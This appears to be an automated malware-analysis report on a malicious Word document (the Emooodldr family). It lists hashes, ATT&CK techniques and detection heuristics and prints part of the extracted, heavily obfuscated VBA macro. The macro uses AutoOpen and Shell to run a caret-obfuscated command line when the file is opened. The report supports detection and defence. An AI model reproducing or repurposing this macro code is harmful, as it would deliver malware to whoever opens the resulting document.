Emooodldr — Office (OLE) malware analysis

Static analysis result for SHA-256 208ede83a6845370…

MALICIOUS

Office (OLE)

81.5 KB Created: 2018-09-20 22:16:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 27e229ca1399fa721bd559dba96e7b17 SHA-1: 9fadce8f6dbbea743fa515968429282a72957b2e SHA-256: 208ede83a6845370ccbc5ac31b1aaef3c02a04538f12a26fb5ae3bd470a9adf4
182 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a legacy WordBasic AutoOpen macro that is designed to execute a payload. The ClamAV detection name 'Doc.Malware.Emooodldr' strongly suggests the Emooodldr family. The AutoOpen macro is a common technique for initial execution within Office documents, often delivered via spearphishing attachments.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6693453-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6693453-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15225 bytes
SHA-256: fba8dca31be86a9ea82e3194116e62fe32e1e43facf3184ab499a04396069a0b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "OajqOwO"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const inzJBMBccKl = 0
   Dim UbFjO(4)
UbFjO(0) = Left(KvnrQDts, 610) + Mid(wFCsFir, 497, 743) + Left(KvnrQDts, 610) + MidB(MHdpc, 907, 55)
UbFjO(1) = MidB(MHdpc, 907, 55) + MidB(MHdpc, 907, 55)
UbFjO(2) = Left(KvnrQDts, 610) + Left(KvnrQDts, 610)
UbFjO(3) = Right(ZSppVYcJ, 104) + Right(ZSppVYcJ, 104)
   Dim mjAts(2)
mjAts(0) = Left(KvnrQDts, 610) + Right(ZSppVYcJ, 104) + Right(ZSppVYcJ, 104) + Right(ZSppVYcJ, 104)
mjAts(1) = MidB(MHdpc, 907, 55) + MidB(MHdpc, 907, 55)
   Dim zzsAB(4)
zzsAB(0) = MidB(MHdpc, 907, 55) + Left(KvnrQDts, 610)
zzsAB(1) = Right(ZSppVYcJ, 104) + Left(KvnrQDts, 610) + Right(ZSppVYcJ, 104) + Mid(wFCsFir, 497, 743)
zzsAB(2) = Right(ZSppVYcJ, 104) + Mid(wFCsFir, 497, 743)
zzsAB(3) = Left(KvnrQDts, 610) + Right(ZSppVYcJ, 104)
   Dim idtOP(2)
idtOP(0) = Right(ZSppVYcJ, 104) + Left(KvnrQDts, 610) + Mid(wFCsFir, 497, 743) + MidB(MHdpc, 907, 55)
idtOP(1) = Mid(wFCsFir, 497, 743) + Left(KvnrQDts, 610)
Shell@ fCJHOwDt + XJhmqqtIH + GsaDSQkzzXvJ + dQTGSfQDNtmEwb, inzJBMBccKl
   Dim wDVvuA(2)
wDVvuA(0) = Left(KvnrQDts, 610) + Mid(wFCsFir, 497, 743)
wDVvuA(1) = Left(KvnrQDts, 610) + Left(KvnrQDts, 610)
   Dim zwPBsc(4)
zwPBsc(0) = Left(KvnrQDts, 610) + Mid(wFCsFir, 497, 743) + Mid(wFCsFir, 497, 743) + MidB(MHdpc, 907, 55)
zwPBsc(1) = Mid(wFCsFir, 497, 743) + Left(KvnrQDts, 610)
zwPBsc(2) = Left(KvnrQDts, 610) + Mid(wFCsFir, 497, 743)
zwPBsc(3) = Mid(wFCsFir, 497, 743) + Right(ZSppVYcJ, 104)
End Sub


Attribute VB_Name = "ukzdvJklU"
Function fCJHOwDt()
Dim OisUO(4)
OisUO(0) = Mid(wFCsFir, 497, 743) + Mid(wFCsFir, 497, 743) + Mid(wFCsFir, 497, 743) + Right(ZSppVYcJ, 104)
OisUO(1) = MidB(MHdpc, 907, 55) + Mid(wFCsFir, 497, 743) + Mid(wFCsFir, 497, 743) + Right(ZSppVYcJ, 104)
OisUO(2) = Mid(wFCsFir, 497, 743) + Right(ZSppVYcJ, 104) + Left(KvnrQDts, 610) + MidB(MHdpc, 907, 55)
OisUO(3) = Left(KvnrQDts, 610) + Mid(wFCsFir, 497, 743) + MidB(MHdpc, 907, 55) + Left(KvnrQDts, 610)
bWXaCRqfwwC = CStr(Chr(CleanString(4 + 8 + 16 + 4 + 67))) + "md /V^:/" + CStr(Chr(CleanString(3 + 5 + 10 + 3 + 46))) + CStr(Chr(CleanString(1 + 2 + 5 + 1 + 25))) + "^s" + "e^t q^z=" + "^   ^ ^ ^  " + "^     "
Dim Npcur(4)
Npcur(0) = Left(KvnrQDts, 610) + Right(ZSppVYcJ, 104)
Npcur(1) = Right(ZSppVYcJ, 104) + Mid(wFCsFir, 497, 743) + Mid(wFCsFir, 497, 743) + MidB(MHdpc, 907, 55)
Npcur(2) = Mid(wFCsFir, 497, 743) + Right(ZSppVYcJ, 104) + MidB(MHdpc, 907, 55) + Left(KvnrQDts, 610)
Npcur(3) = Mid(wFCsFir, 497, 743) + Mid(wFCsFir, 497, 743)
   Dim BRLcC(2)
BRLcC(0) = Mid(wFCsFir, 497, 743) + Right(ZSppVYcJ, 104)
BRLcC(1) = Right(ZSppVYcJ, 104) + Right(ZSppVYcJ, 104) + MidB(MHdpc, 907, 55) + Right(ZSppVYcJ, 104)
   Dim YwqBjO(4)
YwqBjO(0) = Right(ZSppVYcJ, 104) + MidB(MHdpc, 907, 55)
YwqBjO(1) = Mid(wFCsFir, 497, 743) + Mid(wFCsFir, 497, 743) + Mid(wFCsFir, 497, 743) + MidB(MHdpc, 907, 55)
YwqBjO(2) = Left(KvnrQDts, 610) + Mid(wFCsFir, 497, 743) + Mid(wFCsFir, 497, 743) + Left(KvnrQDts, 610)
YwqBjO(3) = Right(ZSppVYcJ, 104) + Left(KvnrQDts, 610)
   Dim uajSoA(5)
uajSoA(0) = Right(ZSppVYcJ, 104) + Mid(wFCsFir, 497, 743) + MidB(MHdpc, 907, 55) + Right(ZSppVYcJ, 104)
uajSoA(1) = Right(ZSppVYcJ, 104) + MidB(MHdpc, 907, 55) + Left(KvnrQDts, 610) + Mid(wFCsFir, 497, 743)
uajSoA(2) = Mid(wFCsFir, 497, 743) + Left(KvnrQDts, 610)
uajSoA(3) = Left(KvnrQDts, 610) + Left(KvnrQDts, 610)
uajSoA(4) = MidB(MHdpc, 907, 55) + Left(KvnrQDts, 610) + Mid(wFCsFir, 497, 743) + Left(KvnrQDts, 610)
wiKfQUf = "^ ^ ^ ^ " + "^ ^}^}{^h" + CStr(Chr(CleanString(4 + 8 + 16 + 4 + 67))) + "t^" + "a" + CStr(Chr(CleanString(4 + 8 + 16 + 4 + 67))) + "}^;k^ae" + "rb;" + CStr(Chr(CleanString(4 + 8 + 16 + 4 + 67))) + "^" + "o" + "Y$ m^etI-e" + "^k^ovn^I^;" + ")" + CStr(Chr(CleanString(4 + 8 + 16 + 4 + 67))) + "^oY$ " + "^,"
Dim VEBiU(2)
VEBiU
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.